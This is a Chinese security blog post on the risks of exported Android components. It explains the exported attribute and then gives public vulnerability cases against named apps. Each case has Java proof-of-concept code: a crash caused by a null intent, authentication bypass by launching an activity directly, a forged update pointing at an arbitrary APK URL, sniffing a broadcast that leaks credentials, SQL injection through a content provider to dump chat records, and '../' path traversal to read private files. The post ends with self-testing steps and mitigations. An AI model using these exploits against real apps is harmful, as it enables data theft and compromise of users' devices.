Android组件暴露的安全性
langu_xyz

0x01 关于组件

Android开发四大组件分别是:
活动(Activity):用于表现功能
服务(Service):后台运行服务,不提供界面呈现
广播接收器(BroadcastReceiver):用于接收广播
内容提供商(ContentProvider):支持在多个应用中存储和读取数据,相当于数据库
外链:详细讲解

在Android应用中,多一个组件暴露,就多一个攻击面。而攻击者就可以围绕这些攻击面进行测试,构造多种攻击手段。

0x02 exported属性

在AndroidManifest.xml文件中,四大组件都有android:exported属性,是个boolean值,可以为true或false
这里有个值得注意的点
默认值以有无intent-filter的action属性来决定,有则为true,没有则为false

0x03 实例

1、最常见的莫过于本地拒绝服务漏洞,四大组件都存在这个问题

Android应用本地拒绝服务漏洞源于程序没有对Intent.getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用crash的目的,简单的说就是攻击者通过intent发送空数据、异常或畸形数据给受害者应用,导致其崩溃

例如导出的Broadcast Receiver组件可以被第三方APP任意调用,如果再没有对消息进行验证,就可能导致敏感信息泄露,并可能受到权限绕过、拒绝服务等攻击风险

e.g. 某手机管家com.tencent.qqpimsecure.service.InOutCallReceiver广播组件没有对消息进行校验,传入空消息导致NullPointerException异常

POC:

1
2
3
4
Intent i = new Intent();
ComponentName componetName = new ComponentName( "com.tencent.qqpimsecure", "com.tencent.qqpimsecure.service.InOutCallReceiver");
i.setComponent(componetName);
sendBroadcast(i);

漏洞详情及解决方案

2、绕过本地认证

私有Activity不应被其他应用启动相对是安全的(只是相对的)
公开暴露的Activity组件,可以被任意应用启动

e.g. 某菊花网盘绕过本地密码

非root的话直接启动其他activity即可绕过认证,本地认证只是简单topActivity

1
2
3
4
5
6
7
8
9
10
11
public void activityStart(View v) {
ComponentName componetName = new ComponentName("com.huawei.dbank.v7",
"com.huawei.dbank.v7.ui.newbietask.NewbieTaskActivity");
try {
Intent intent = new Intent();
intent.setComponent(componetName);
startActivity(intent);
} catch (Exception e) {
Toast.makeText(getApplicationContext(), "Not found", 0).show();
}
}
e.g. 控制MIUI的手电筒开关(有趣的案例)

MIUI内置的手电筒软件Stk.apk中,TorchService服务没有对广播来源进行验证,导致任何程序可以调用这个服务,打开或关闭手电筒

1
2
3
Intent intent = new Intent();
intent.setAction("net.cactii.flash2.TOGGLE_FLASHLIGHT");
sendBroadcast(intent);

3、伪造消息代码执行

广播接收器没有对消息进行安全验证,通过发送恶意的消息,攻击者可以在用户手机通知栏上推送任意消息,点击消息后可以利用webview组件盗取本地隐私文件和执行任意代码

e.g. 某搜索引擎云盘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Intent i = new Intent();
i.setAction("com.baidu.android.pushservice.action.MESSAGE");
Bundle b = new Bundle();
try {
JSONObject jsobject = new JSONObject();
JSONObject custom_content_js = new JSONObject();
jsobject.put("title", "xxxxxxxxxxx");
jsobject.put("description", "")
jsobject.put("url", "http://drops.wooyun.org/webview.html");
JSONObject customcontent_js = new JSONObject();
customcontent_js.put("type", "1");
customcontent_js.put("msg_type", "resources_push");
customcontent_js.put("uk", "1");
customcontent_js.put("shareId", "1");
jsobject.put("custom_content", customcontent_js);
String cmd = jsobject.toString();
b.putByteArray("message", cmd.getBytes("UTF-8"));
} catch (Exception e) {
e.printStackTrace();
}

e.g. 优酷Android 4.5客户端升级漏洞

com.youku.service.push.StartActivityService组件从Intent从获取名为PushMsg的Serializable的数据,并根据其成员type来执行不同的流程,当type值为1时,执行App的升级操作。升级所需的相关数据如app的下载地址等也是从该序列化数据中获取。升级的具体流程在com.youku.ui.activity.UpdateActivity中,简单分析后发现升级过程未对下载地址等进行判断,因此可以任意指定该地址

POC

1
2
3
4
5
6
7
8
PushMsg pushMsg = new PushMsg();
pushMsg.type = 1;
pushMsg.updateurl = "http://**.**.**.**/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk";
pushMsg.updatecontent = "This is Fake";
Intent intent = new Intent();
intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService");
intent.putExtra("PushMsg", pushMsg);
startService(intent);

4、敏感信息泄漏

e.g. 某应用隐式intent发送敏感信息

缺陷代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class ServerService extends Service {
private void d() {
Intent v1 = new Intent();
v1.setAction("com.sample.action.server_running");
v1.putExtra("local_ip", v0.h);
v1.putExtra("port", v0.i);
v1.putExtra("code", v0.g);
v1.putExtra("connected", v0.s);
v1.putExtra("pwd_predefined", v0.r);
if (!TextUtils.isEmpty(v0.t)) {
v1.putExtra("connected_usr", v0.t);
}
}
this.sendBroadcast(v1);
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
public class BcReceiv extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent){
String s = null;
if (intent.getAction().equals("com.sample.action.server_running")){
String pwd = intent.getStringExtra("connected");
s = "Airdroid => [" + pwd + "]/" + intent.getExtras();
}
Toast.makeText(context, String.format("%s Received", s),
Toast.LENGTH_SHORT).show();
}
}

5、提升权限

e.g. 某系统清理工具

暴露了com.cleanmaster.appwidget.WidgetService服务组件,当向此服务发送action为com.cleanmaster.appwidget.ACTION_FASTCLEAN的intent时,便可结束后台运行的一些app进程

6、Content Provider 暴露泄露敏感信息

Content Provider 用来存放和获取数据并使这些数据可以被所有的应用程序访问,是应用程序之间共享数据的唯一方法

e.g. 一只眼app应用本地信息泄露

任意Android程序不需要任何权限就能获取本机一支眼app的所有数据,包括账号、私信聊天记录

查看聊天记录POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void getChatMsg() {
String[] projection = {"* from im_message_table--"};
Uri uri = Uri.parse("content://com.sina.weibo.blogProvider/query/im");
Cursor mCursor = getContentResolver().query(uri, projection, null, null, null);
if (null == mCursor) {
Toast.makeText(mContext, "null cursor", Toast.LENGTH_SHORT).show();
} else if (mCursor.getCount() < 1) {
Toast.makeText(mContext, "count less than 1", Toast.LENGTH_SHORT).show();
} else {
String text = "";
while (mCursor.moveToNext()) {
text += mCursor.getString(mCursor.getColumnIndex("content"));
}
mTextView.setText(text);
}
}

7、任意文件读取漏洞

e.g. 某客户端Content Provider组件任意文件读取漏洞

某客户端APP的实现中定义了一个可以访问本地文件的Content Provider组件,默认的android:exported=”true”,对应com.ganji.android.jobs.html5.LocalFileContentProvider,该Provider实现了openFile()接口,通过此接口可以访问内部存储app_webview目录下的数据,由于后台未能对目标文件地址进行有效判断,可以通过”../“实现目录跨越,实现对任意私有数据的访问

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void GJContentProviderFileOperations(){ 
try{
InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.ganji.html5.localfile.1/webview/../../shared_prefs/userinfo.xml"));
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int n = in.read(buffer);
while(n>0){
out.write(buffer, 0, n);
n = in.read(buffer);
Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();
}
}catch(Exception e){
debugInfo(e.getMessage());
}
}

漏洞详解

8、启动私有组件(这就是前边提到的,私有组件也仅仅是相对安全的)

存在一个私有组件A,和一个对外导出组件B。如果B能够根据对外传入的Intent中的内容打开私有组件A,同时启动私有组件A的Intent的内容来自启动导出组件B的Intent的内容,那么攻击者就可以通过对外导出组件B,去控制私有导出组件A。这就可能会造成严重的安全风险
这里详细的看下聚安全的这篇paper

其实还有很多没有列出,如UXSS、界面劫持、services劫持等等

0x04 简单自测

1、反编译APK或直接查看源代码

查看AndroidManifest.xml文件,查看哪些组件是导出的,仔细check是否需要导出,需要导出的是否都已做了相应的安全限制

2、drozer扫描

run app.activity.info -a packagename

0x05 防患于未然

1、能不导出组件的坚决不导出
2、必须导出的组件仔细check限制策略是否到位
3、检查该组件能不能根据该组件的intent去启动其他私有组件
4、如果能启动私有组件,根据业务严格控制过滤和校验intent中的内容,同时被启动的私有组件需要做好各种安全防范

关于漏洞例子:本来想用最近遇到的问题来做实例,但考虑到漏洞的敏感性,找的是网上公开的漏洞

  • Post title:Android组件暴露的安全性
  • Post author:langu_xyz
  • Create time:2017-06-19 21:00:00
  • Post link:https://blog.langu.xyz/Android组件暴露的安全性/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.